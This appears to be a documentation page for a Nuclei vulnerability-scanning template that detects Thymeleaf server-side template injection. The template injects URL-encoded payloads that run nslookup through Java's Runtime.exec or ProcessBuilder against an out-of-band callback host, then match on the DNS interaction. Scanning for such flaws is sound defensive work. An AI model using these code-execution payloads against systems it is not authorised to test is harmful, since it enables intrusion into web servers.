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Nuclei Templates

Thymeleaf - Out of Band Template Injection

ID: thymeleaf-oob

Severity: high

Author: ritikchaddha

Tags: thymeleaf,oob,ssti,oast,dast

Description

Section titled “Description”

Thymeleaf template injection occurs when user input is embedded in a template without proper sanitization. This can lead to remote code execution through Thymeleaf’s expression language features.

YAML Source

Section titled “YAML Source”
id: thymeleaf-oob


info:
  name: Thymeleaf - Out of Band Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Thymeleaf template injection occurs when user input is embedded in a template without proper sanitization. This can lead to remote code execution through Thymeleaf's expression language features.
  reference:
    - https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
  metadata:
    max-request: 1
  tags: thymeleaf,oob,ssti,oast,dast


http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'


    payloads:
      injection:
        - "%24%7B%23rt%20%3D%20%40java.lang.Runtime%40getRuntime%28%29%2C%23rt.exec%28%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27%29%7D"
        - "%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27%29%7D"
        - "%24%7Bnew%20java.lang.ProcessBuilder%28%27nslookup%27%2C%27-type%3DSRV%27%2C%27{{interactsh-url}}%27%29.start%28%29%7D"


    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"


    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 490a0046304402203c0e289535a5e255dd10e04f5ec1d9b4e52cd6607a69ff3e155d5f187e7581030220433463b733253465ea7cd79486f6781bbc1d58da98adc34ecb4f74ffeb83efae:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/oob/thymeleaf-oob.yaml"

View on Github